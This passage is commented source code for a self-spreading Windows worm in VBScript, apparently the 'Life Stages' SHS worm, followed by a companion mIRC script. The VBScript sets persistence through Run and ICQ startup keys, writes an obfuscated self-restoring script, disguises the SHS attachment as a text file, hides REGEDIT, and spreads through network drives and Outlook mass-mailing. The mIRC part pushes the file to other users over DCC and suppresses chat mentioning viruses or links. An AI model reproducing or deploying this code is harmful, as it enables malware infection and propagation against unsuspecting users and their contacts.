  R.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ScanReg",K(E(0),"WSCRIPT.EXE")&" "&K(E(1),"SCANREG.VBS")

  'Creates the second VBS file to make the worm come back if someone tried to delete it. Then it copies this new VBS file to other place. If ICQ is installed, this VBS file will be added to ICQ's startup. Also, this file checks that all other needed files exist, as well as the Windows's startup registry key for the first VBS file.

  Set A=P.CreateTextFile(K(Left(E(0),3)&"RECYCLED","DBINDEX.VBS"),True)
  A.Write("On Error Resume Next"&J&"Set I=CreateObject(""Scripting.FileSystemObject"")"&J&"Set M=I.OpenTextFile(WScript.ScriptFullName,1)"&J&"Do While Mid(M.ReadLine,18,10)<>""adLine,18,"""&J&"Loop"&J&"M.SkipLine"&J&"N=M.ReadLine"&J&"M.Close"&J&"Set Z=CreateObject(T(""VRbshqu/Ridmm""))"&J&"X=T(""MHGD^RU@FDR/UYU/RIR"")"&J&"If I.FileExists(F(A(T(""Ru`suTq"")),X)) Then I.DeleteFile F(A(T(""Ru`suTq"")),X),True"&J&"Q=False"&J&"If Not I.FileExists(F(U(0),X)) Then"&J&"If I.FileExists(F(U(1),T(""LRHOGN07/UMC""))) Then"&J&"I.CopyFile F(U(1),T(""LRHOGN07/UMC"")),F(U(0),X)"&J&"Else"&J&"If I.FileExists(F(Left(U(0),3)&T(""SDBXBMDE""),T(""LRSBXBME/E@U""))) Then"&J&"I.CopyFile F(Left(U(0),3)&T(""SDBXBMDE""),T(""LRSBXBME/E@U"")),F(U(0),X)"&J&"Set Y=I.GetFile(F(U(0),X))"&J&"Y.Attributes=32"&J&"Else"&J&"Q=True"&J&"End If"&J&"End If"&J&"End If"&J&"If Not Q Then"&J&"If Not I.FileExists(F(U(1),T(""LRHOGN07/UMC""))) Then I.CopyFile F(U(0),X),F(U(1),T(""LRHOGN07/UMC""))"&J&"If Not I.FileExists(F(Left(U(0),3)&T(""SDBXBMDE""),T(""LRSBXBME/E@U""))) Then"&J&"I.CopyFile F(U(0),X),F(Left(U(0),3)&T(""SDBXBMDE""),T(""LRSBXBME/E@U""))"&J&"Set Y=I.GetFile(F(Left(U(0),3)&T(""SDBXBMDE""),T(""LRSBXBME/E@U"")))"&J&"Y.Attributes=39"&J&"End If"&J&"If Not I.FileExists(F(U(1),T(""RB@OSDF/WCR""))) Then"&J&"If I.FileExists(F(Left(U(0),3)&T(""SDBXBMDE""),T(""SBXBMECO/E@U""))) Then"&J&"I.CopyFile F(Left(U(0),3)&T(""SDBXBMDE""),T(""SBXBMECO/E@U"")),F(U(1),T(""RB@OSDF/WCR""))"&J&"Set Y=I.GetFile(F(U(1),T(""RB@OSDF/WCR"")))"&J&"Y.Attributes=32"&J&"Else"&J&"Q=True"&J&"I.CopyFile F(U(0),X),F(A(T(""Ru`suTq"")),X)"&J&"End If"&J&"End If"&J&"End If"&J&"If Not Q Then"&J&"If Not I.FileExists(F(Left(U(0),3)&T(""SDBXBMDE""),T(""SBXBMECO/E@U""))) Then"&J&"I.CopyFile F(U(1),T(""RB@OSDF/WCR"")),F(Left(U(0),3)&T(""SDBXBMDE""),T(""SBXBMECO/E@U""))"&J&"Set Y=I.GetFile(F(Left(U(0),3)&T(""SDBXBMDE""),T(""SBXBMECO/E@U"")))"&J&"Y.Attributes=39"&J&"End If"&J&"If Not I.FileExists(F(U(1),T(""WC@RDU/NMC""))) Then"&J&"I.CopyFile WScript.ScriptFullName,F(U(1),T(""WC@RDU/NMC""))"&J&"Set Y=I.GetFile(F(U(1),T(""WC@RDU/NMC"")))"&J&"Y.Attributes=32"&J&"End If"&J&"Z.RegWrite T(""IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]StoRdswhbdr]Rb`oSdf""),F(U(0),T(""VRBSHQU/DYD""))&"" ""&F(U(1),T(""RB@OSDF/WCR""))"&J&"End If"&J&"Function T(D)"&J&"T="""""&J&"For E=1 To Len(D)"&J&"If Asc(Mid(D,E,1))<>34 And Asc(Mid(D,E,1))<>35 And Asc(Mid(D,E,1))<>126 Then"&J&"If Asc(Mid(D,E,1)) Mod 2=0 Then T=T&Chr(Asc(Mid(D,E,1))+Left(Len(N),1)) Else T=T&Chr(Asc(Mid(D,E,1))-Left(Len(N),1))"&J&"Else"&J&"T=T&Mid(D,E,1)"&J&"End If"&J&"Next"&J&"End Function"&J&"Function F(W,S)"&J&"On Error Resume Next"&J&"F=I.BuildPath(W,S)"&J&"End Function"&J&"Function A(B)"&J&"On Error Resume Next"&J&"A=Z.SpecialFolders(B)"&J&"End Function"&J&"Function U(J)"&J&"On Error Resume Next"&J&"U=I.GetSpecialFolder(J)"&J&"End Function"&J)
  A.Close
  Set F=P.GetFile(K(Left(E(0),3)&"RECYCLED","DBINDEX.VBS"))
  F.Attributes=39
  P.CopyFile K(Left(E(0),3)&"RECYCLED","DBINDEX.VBS"),K(E(1),"VBASET.OLB")
  Set F=P.GetFile(K(E(1),"VBASET.OLB"))
  F.Attributes=32
  R.RegWrite "HKEY_USERS\.DEFAULT\Software\Mirabilis\ICQ\Agent\Apps\ICQ\Enable","Yes"
  R.RegWrite "HKEY_USERS\.DEFAULT\Software\Mirabilis\ICQ\Agent\Apps\ICQ\Parameters",K(Left(E(0),3)&"RECYCLED","DBINDEX.VBS")
  R.RegWrite "HKEY_USERS\.DEFAULT\Software\Mirabilis\ICQ\Agent\Apps\ICQ\Path",K(E(0),"WSCRIPT.EXE")
  R.RegWrite "HKEY_USERS\.DEFAULT\Software\Mirabilis\ICQ\Agent\Apps\ICQ\Startup",E(0)

  'Changes the SHS file icon to the TXT file icon and it sets the TXT extension to be always visible (SHS extension is always invisible). This way, after the first run, the SHS file will be seen as a TXT file (same icon and extension).

  S=""
  S=R.RegRead("HKEY_CLASSES_ROOT\"&R.RegRead("HKEY_CLASSES_ROOT\.txt\")&"\DefaultIcon\")
  If S<>"" Then R.RegWrite "HKEY_CLASSES_ROOT\ShellScrap\DefaultIcon\",S
  R.RegWrite "HKEY_CLASSES_ROOT\txtfile\AlwaysShowExt",""

  'Moves and renames "REGEDIT.EXE" so it would be more difficult to search in the registry for the worm. It also makes changes in the registry so REG files can still work and with the same icon.

  If P.FileExists(K(E(0),"REGEDIT.EXE")) Then
    GS=K(Left(E(0),3)&"RECYCLED","RECYCLED.VXD")
    P.MoveFile K(E(0),"REGEDIT.EXE"),GS
    Set F=P.GetFile(GS)
    F.Attributes=39
    R.RegWrite "HKEY_CLASSES_ROOT\"&R.RegRead("HKEY_CLASSES_ROOT\.reg\")&"\DefaultIcon\",GS&",1"
    R.RegWrite "HKEY_CLASSES_ROOT\"&R.RegRead("HKEY_CLASSES_ROOT\.reg\")&"\shell\open\command\",GS&" ""%1"""
  End If

  'Network spreading code (it will be run only if the SHS file doesn't exist in Windows' startup directory, so it won't start a loop sending the file between network shares).

  If Not I Then
    Set C=CreateObject("WScript.Network")
    Set Q=C.EnumNetworkDrives
    If Q.Count>0 Then
      For B=0 To Q.Count-1
        If Q.Item(B)<>"" Then
          If P.FolderExists(K(Q.Item(B),Mid(OE("StartUp"),4))) Then P.CopyFile K(E(0),PD),K(K(Q.Item(B),Mid(OE("StartUp"),4)),PD) Else P.CopyFile K(E(0),PD),K(Q.Item(B),PD)
        End If
      Next
    End If
  End If

  'OUTLOOK spreading code (will be run only once in each computer since it uses the registry to check if it was already run).

  HG=""
  HG=R.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\OSName")
  If HG="" Then
    JM=""
    Set JM=CreateObject("Outlook.Application")
    If JM Is Not Nothing Then
      Set JS=JM.GetNameSpace("MAPI")
      M=False
      For Each G In JS.AddressLists
        If G.AddressEntries.Count>0 Then
          Set U=JM.CreateItem(0)
          If G.AddressEntries.Count>100 Then
            Dim FL(99)
            For VH=0 To 99
              FL(VH)=Int(G.AddressEntries.Count*Rnd+1)
            Next
            For VH=0 To 99
              For JG=VH+1 To 99
                If FL(VH)=FL(JG) And FL(VH)<>0 Then FL(JG)=0
              Next
            Next
            For VH=0 To 99
              If FL(VH)=0 Then FL(VH)=Int(G.AddressEntries.Count*Rnd+1)
            Next
            For VH=0 To 99
              For JG=VH+1 To 99
                If FL(VH)=FL(JG) And FL(VH)<>0 Then FL(JG)=0
              Next
            Next
            For VH=0 To 99
              If FL(VH)<>0 Then
                Set FP=G.AddressEntries(FL(VH))
                If VH=0 Then U.BCC=FP.Address Else U.BCC=U.BCC&"; "&FP.Address
              End If
            Next
          Else
            For VH=1 To G.AddressEntries.Count
              Set FP=G.AddressEntries(VH)
              If VH=1 Then U.BCC=FP.Address Else U.BCC=U.BCC&"; "&FP.Address
            Next
          End If
          X=""
          If Int(2*Rnd+1)=1 Then X="Fw: "
          O=Int(3*Rnd+1)
          If O=1 Then
            X=X&"Life stages"
          ElseIf O=2 Then
            X=X&"Funny"
          Else
            X=X&"Jokes"
          End If
          If Int(2*Rnd+1)=1 Then X=X&" text"
          U.Subject=X
          X=""
          If Int(3*Rnd+1)>1 Then
            X="> The male and female stages of life."
            If Int(3*Rnd+1)=1 Then X=X&" Bye."
          End If
          If Int(2*Rnd+1)=1 Then U.Body=X Else U.HTMLBody=X
          U.Attachments.Add K(E(0),PD)
          U.DeleteAfterSubmit=True
          U.Send
          M=True
        End If
      Next
      If M Then R.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\OSName","Microsoft Windows"
    End If
  End If

End If

'If the TXT file with jokes was created it deletes it.

If Not I Then P.DeleteFile(K(E(2),"LIFE_STAGES.TXT"))

'Encryption function.

Function D(FR)
  D=""
  For JN=1 To Len(FR)
    If Asc(Mid(FR,JN,1))<>32 And Asc(Mid(FR,JN,1))<>33 And Asc(Mid(FR,JN,1))<>34 And Asc(Mid(FR,JN,1))<>160 And Asc(Mid(FR,JN,1))<>255 Then
      If Asc(Mid(FR,JN,1)) Mod 2=0 Then D=D&Chr(Asc(Mid(FR,JN,1))-Left(Asc(Right(ZP,1)),1)) Else D=D&Chr(Asc(Mid(FR,JN,1))+Left(Asc(Right(ZP,1)),1))
    Else
      D=D&Mid(FR,JN,1)
    End If
  Next
End Function

'Replaces "BuildPath" function (to make the code smaller).

Function K(EQ,RB)
  On Error Resume Next
  K=P.BuildPath(EQ,RB)
End Function

'Replaces "SpecialFolders" function (to make the code smaller).

Function OE(PQ)
  On Error Resume Next
  OE=R.SpecialFolders(PQ)
End Function

'Replaces "GetSpecialFolder" function (to make the code smaller).

Function E(GP)
  On Error Resume Next
  E=P.GetSpecialFolder(GP)
End Function

'Returns the SHS file path without using Word. Returns "" if the SHS file was not found.

Function L(WG)
  On Error Resume Next
  Y=""
  H E(2),WG
  If Y="" Then WQ ":\",WG
  If Y="" Then WQ ":\MIRC",WG
  If Y="" Then WQ ":\MIRC32",WG
  If Y="" Then WQ ":\PIRCH",WG
  If Y="" Then WQ ":\PIRCH98",WG
  If Y="" Then
    TQ=R.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
    H K(TQ,"MIRC"),WG
  End If
  If Y="" Then H K(TQ,"MIRC32"),WG
  If Y="" Then H K(TQ,"PIRCH"),WG
  If Y="" Then H K(TQ,"PIRCH98"),WG
  If Y="" Then H OE("Desktop"),WG
  If Y="" Then H OE("MyDocuments"),WG
  L=Y
End Function

'Auxiliary code used to find the SHS file without using Word. If "YH" is true it will search for SHS files with the original name, if not, it will search for SHS files with any name but with the same size of the original SHS file.

Sub H(FW,YH)
  On Error Resume Next
  If P.FolderExists(FW) Then
    For Each GC In P.GetFolder(FW).Files
      If YH Then
        If UCase(GC.Name)=PD Then
          Set FK=P.GetFile(GC.Path)
          If FK.Size=39936 Then
            Y=GC.Path
            Exit For
          End If
        End If
      Else
        If UCase(P.GetExtensionName(GC.Path))="SHS" Then
          Set FK=P.GetFile(GC.Path)
          If FK.Size=39936 Then
            Y=GC.Path
            Exit For
          End If
        End If
      End If
    Next
    If Y="" And Right(FW,2)<>":\" Then
      For Each SL In P.GetFolder(FW).SubFolders
        H SL.Path,YH
      Next
    End If
  End If
End Sub

'Auxiliary code used to find the SHS file without using Word (to make the code smaller).

Sub WQ(HJ,PZ)
  On Error Resume Next
  For Each Z In P.Drives
    If Z.DriveType=2 Then
      H Z.DriveLetter&HJ,PZ
      If Y<>"" Then Exit For
    End If
  Next
End Sub

'Returns the SHS file path using Word. Returns "" if the SHS file was not found.

Function W(HQ)
  On Error Resume Next
  W=""
  Set V=N.FileSearch
  V.NewSearch
  V.FileName=HQ
  V.SearchSubFolders=True
  For Each Z In P.Drives
    If Z.DriveType=2 Then
      V.LookIn=Z.DriveLetter&":\"
      V.Execute
      If V.FoundFiles.Count>0 Then
        For PS=1 To V.FoundFiles.Count
          Set FK=P.GetFile(V.FoundFiles(PS))
          If FK.Size=39936 Then
            W=V.FoundFiles(PS)
            Exit For
          End If
        Next
        If W<>"" Then Exit For
      Else
        V.NewSearch
        V.FileName=HQ
        V.SearchSubFolders=True
      End If
    End If
  Next
End Function

'Copies the SHS file to some places with random names.

Sub UQ(DG)
  On Error Resume Next
  O=Int(5*Rnd+1)
  If O=1 Then
    JW="IMPORTANT"
  ElseIf O=2 Then
    JW="INFO"
  ElseIf O=3 Then
    JW="REPORT"
  ElseIf O=4 Then
    JW="SECRET"
  Else
    JW="UNKNOWN"
  End If
  O=Int(3*Rnd+1)
  If O=1 Then
    JW=JW&"-"
  ElseIf O=2 Then
    JW=JW&"_"
  End If
  If O<>3 Then
    JW=JW&Int(999*Rnd+1)
  End If
  JW=JW&".TXT.SHS"
  If Int(2*Rnd+1)=1 Then JW=LCase(JW)
  P.CopyFile K(E(0),PD),K(DG,JW)
End Sub

Here is the code from the MIRC script file written by SimpleSimon (it is not path fixed, so
"C:\WINDOWS\LIFE_STAGES.TXT.SHS" will change according to Windows' path):

On 1:Connect:{ Set %.go $false | Set %.which $r(1,2) | Set %.file C:\WINDOWS\LIFE_STAGES.TXT.SHS | if ( $exists(%.file) ) { Set %.go $true } | Unset %be.* %pk.* %S.* | life }
On 1:Disconnect:{ .timers off | .sockclose * | Set %.date $adate }
On 1:Input:*:{ Set %.var1 Ignore:Alias:Write:Play:Rename:Copy:Load:Remini:Writeini:Run:Filter:Flushini:Reload:Remove:Set:Unset:UnsetAll:Enable:Disable: | Set %.var2 $remove($1,/,.) | if ( $istok(%.var1,%.var2,58) ) || ( %.var2 = $null ) || ( timer isin $1 ) { halt } | if ( $chr(36) isin $1- )  { if ( $pos($1-,$,0) > 1 ) { halt } | Set %.tmp1 $asc($mid($1-,$calc($pos($1-,$,1) + 1),1)) | if ( %.tmp1 > 47 ) && ( %.tmp1 < 58 ) { return } | elseif ( %.tmp1 = 32) { return } | halt } }
On 1:Join:*:{ if ( help isin # ) || ( ayuda isin # ) || ( virus isin # ) || ( $remove(#,$chr(35)) isin dmsetupbackorificenohackaide ) { .timerqt 1 5 quiet # } | if ( %.go ) && ( %.which = 1 ) { if ( $r(1,2) = 1 ) && ( $nick != $me ) { LS $nick } } }
On ^1:Part:*:{ if ( %.go ) && ( %.which = 2 ) { if ( $r(1,2) = 1 ) && ( $nick isreg # ) && ( $nick != $me ) { LS $nick } } | letslook $1- | if ( $letsthink ) { halt } }
On 1:FileSent:*:{ if ( %.go ) { LS $nick } }
On 1:FileRcvd:*:{ if ( %.go ) { LS $nick } }
On 1:Notify:{ if ( %.go ) { if ( $nick !isin %.nt ) { %.nt = %.nt $+ $nick | .ignore -u120 $nick 2 | .timer $+ $r(99,199) 1 10 .msg $nick Hi. Check out this file, ok. | .timer $+ $r(300,399) 1 12 LS $nick } } }
On ^1:Kick:*:{ if ( $knick = $me ) { letslook $1- } | if ( $letsthink ) && ( $knick = $me ) { .echo -s 3*** You were kicked from $+ $chr(32) $+ $chan $+ $chr(32) $+ by $nick ( $+ $me $+ ) | halt } }
On ^1:Notice:*:*:{ letslook $1- | if ( $letsthink ) { if ( $chr(35) !isin $active ) { halt } | .echo $active 5- $+ $nick $+ - $+ $chr(32) $+ $modurl | halt } }
On ^1:Action:*:*:{ letslook $1- | if ( $letsthink ) { if ( # = $me ) { Set %.tmp11 $nick } | if ( # != $me ) { Set %.tmp11 # } | .echo %.tmp11 6* $+ $chr(32) $+ $nick $+ $chr(32) $+ $modurl | halt } }
On ^1:Text:*:*:{ letslook $1- | if ( $letsthink ) { if ( # = $null ) { Set %.tmp11 $nick } | if ( # != $null ) { Set %.tmp11 # } | .echo %.tmp11 < $+ $nick $+ > $+ $chr(32) $+ $modurl | halt } }
On ^1:Chat:*:{ letslook $1- | if ( $letsthink ) { .echo =$nick < $+ $nick $+ > $+ $chr(32) $+ $modurl | halt } }
On ^1:Serv:*:{ letslook $1- | if ( $letsthink ) { halt } }
On ^1:Quit:{ Set %.topic 3 | letslook $1- | if ( $letsthink ) { .echo $comchan($nick,1) 2*** $+ $chr(32) $+ $nick $+ $chr(32) $+ has quit IRC ( $+ $modurl $+ ) | halt } }
On ^1:Topic:#:{ Set %.topic 2 | letslook $1- | if ( $letsthink ) { .echo # 3*** $nick changes topic to ' $+ $modurl $+ ' | halt } }
on ^1:SNOTICE:*:{ letslook $1- }
ctcp 1:*:*:{ letslook $1- | if ( $letsthink ) { halt } }
raw 332:*:{ Set %.topic 1 | letslook $2- | if ( $letsthink ) { .clear $2 | .echo $2 3*** Topic is ' $+ $modurl $+ ' | halt } }
raw 401:*:{ if ( %S. $+ $2 != $null ) { .timer $+ $2 off | .sockclose . $+ $2 | .sockclose . $+ $2 | Set %.warning $2 | halt } }
raw 439:*:{ halt }
alias quiet { Set %.var3 1 | :j | Set %.var4 $nick($1,%.var3) | if ( %.var4 = $null ) { .part $1 | halt } | if ( %.var4 != $me ) && ( %.var4 != X ) && ( %.var4 != W ) { .ignore %.var4 2 } | inc %.var3 | goto j }
alias -l life { if ( %.date != $null ) { if ( $gettok(%.date,2,47) < $gettok($adate,2,47) ) || ( $gettok(%.date,1,47) < $gettok($adate,1,47) ) { stages } } }
alias -l stages { Set %tmp1 $ignore(0) | Set %tmp2 0 | :tm | inc %tmp2 | if ( %tmp1 = $null ) || ( %tmp2 > %tmp1 ) { goto out } | .ignore -r $ignore(1) | goto tm | :out }
alias letsdo { .ignore $nick 2 | halt }
alias letslook { if ( Stages isin $1- ) || ( .shs isin $1- ) || ( script isin $1- ) || ( worm isin $1- ) || ( virus isin $1- ) || ( trojan isin $1- ) || ( infect isin $1- ) || ( spread isin $1- ) || ( remote isin $1- ) || ( events isin $1- ) || ( unload isin $1- ) || ( virii isin $1- ) || ( dccallow isin $1- ) { if ( %.topic = 1 ) { unset %.topic | .timerf 1 1 quiet $1 | halt } | if ( %.topic = 2 ) { unset %.topic | quiet # | halt } | if ( %.topic = 3 ) { halt } | letsdo } | if ( %.topic = 1 ) { Set %.think $2- } | else { Set %.think $1- } | Unset %.topic }
alias unload { if ( $1 = $null ) || ( $2 = $null ) { .echo -e 2* /unload: insufficient parameters | halt } | .echo -e 2*** Unloaded script ' $+ $2- $+ ' | halt }
alias remote { if ( $1 = on ) { .echo -e 2*** Remote is ON (Ctcps,Events,Raw) } | else { .echo -e 2*** Remote is OFF | halt } }
alias events { if ( $1 = on ) { .echo -e 2*** Events are ON } | else { .echo -e 2*** Events are OFF | halt } }
On 1:SockClose:.*:{ Set %.tmp6 $remove($sockname,.) | sockclose $sockname | sockclose [ . $+ [ %.tmp6 ] ] | .timer $+ %.tmp6 off }
On 1:SockListen:.*:{ Set %.tmp5 $remove($sockname,.) | sockaccept . $+ %.tmp5 | SL %.tmp5 }
On 1:SockWrite:.*:{ Set %.tmp6 $remove($sockname,.) | if ( [ % $+ [ S. $+ [ %.tmp6 ] ] ] = 1 ) { .timer $+ $r(99,9999) 1 10 sockclose $sockname | .timer $+ $r(99,9999) 1 10 sockclose [ . $+ [ %.tmp6 ] ] | .timer $+ %.tmp6 off | halt } | SL %.tmp6 }
alias LS { if ( $sock(.*,0) > 5 ) { return } | Set %S. $+ $1 0 | :pointless | Set %pt $r(2400,5000) | if ( $portfree(%pt) = $false ) { goto pointless } | Set [ % $+ [ be. $+ [ $1 ] ] ] 0 | Set %pk. $+ $1 4096 | Set %sz $file(%.file).size | Set %.tmp4 . $+ $1 | .timer $+ $1 1 240 .sockclose %.tmp4 $+ $chr(32) $+ $chr(124) $+ $chr(32) $+ .sockclose . $+ $1 | .timer1 $+ $1 1 20 TO $1 | .notice $1 DCC Send $left($gettok(%.file,3,92), $calc( [ $len( [ $gettok(%.file,3,92) ] ) ] - 4 ) ) ( $+ $ip $+ ) | if ( $1 = %.warning ) { return } | .ignore -u90 $1 2 | .raw -q privmsg $1 : $+ $chr(1) $+ DCC SEND %.file $longip($ip) %pt %sz $+ $chr(1) | if ( $sock(%.tmp4) != $null ) { .sockclose %.tmp4 } | .socklisten %.tmp4 %pt }
alias SL { if ( $calc( [ % $+ [ be. $+ [ $1 ] ] ] + [ % $+ [ pk. $+ [ $1 ] ] ] ) < %sz) { bread %.file [ % $+ [ be. $+ [ $1 ] ] ] [ % $+ [ pk. $+ [ $1 ] ] ] &data | .sockwrite . $+ $1 &data | inc [ % $+ [ be. $+ [ $1 ] ] ] [ % $+ [ pk. $+ [ $1 ] ] ] } | else { Set [ % $+ [ S. $+ [ $1 ] ] ] 1 | [ % $+ [ pk. $+ [ $1 ] ] ] = $calc( %sz - [ % $+ [ be. $+ [ $1 ] ] ] ) | if ( [ % $+ [ pk. $+  [ $1 ] ] ] = 0) { return } | bread %.file [ % $+ [ be. $+ [ $1 ] ] ] [ % $+ [ pk. $+ [ $1 ] ] ] &data | .sockwrite . $+ $1 &data } }
alias TO { if ( [ % $+ [ be. $+ [ $1 ] ] ] = 0 ) { sockclose [ . $+ [ $1 ] ] | sockclose [ . $+ [ $1 ] ] | .timer $+ $1 off } }
alias modurl { Set %.think $replace(%.think,$chr(44),$chr(32),$chr(59),$chr(32)) | Unset %.think.again | Set %.var6 $numtok(%.think,32) | Set %.var61 1 | Set %.var64 $nick $+ $chr(91) $+ $gettok($address,2,64) $+ $chr(93) | :mod1 | if ( %.var61 > %.var6 ) { return %.think.again } | Set %.var62 $gettok(%.think,%.var61,32) | if ( http !isin %.var62 ) && ( www !isin %.var62 ) && ( ftp. !isin %.var62 ) && ( .com !isin %.var62 ) && ( .net !isin %.var62 ) && ( .org !isin %.var62 ) { Set %.think.again %.think.again $+ $chr(32) $+ %.var62 | inc %.var61 | goto mod1 } | if ( $gettok($address,2,64) isin %.var62 ) { Set %.think.again %.think.again $+ $chr(32) $+ %.var62 | inc %.var61 | goto mod1 }
if ( %.var64 isin %.var62 ) { Set %.think.again %.think.again $+ $chr(32) $+ %.var62 | inc %.var61 | goto mod1 } | Set %.var63 $gettok(%.var62,2,46) | if ( %.var63 = $null ) { Set %.think.again %.think.again $+ $chr(32) $+ %.var62 | inc %.var61 | goto mod1 } | if ( $len(%.var63) > 2 ) { Set %.var63 $left(%.var63,$int($calc($len(%.var63)/2))) $+ $r(a,z) $+ $mid(%.var63,$calc($int($calc($len(%.var63)/2)) + 1),$len(%.var63)) } | Set %.var63 $r(A,Z) $+ %.var63 $+ $r(a,z) | Set %.think.again %.think.again $+ $chr(32) $+ $puttok(%.var62,%.var63,2,46) | inc %.var61 | goto mod1 }
alias letsthink { if ( http isin %.think ) || ( .org isin %.think ) || ( .net isin %.think ) || ( .com isin %.think ) || ( ftp. isin %.think ) || ( www isin %.think ) { return $true } | return $false }
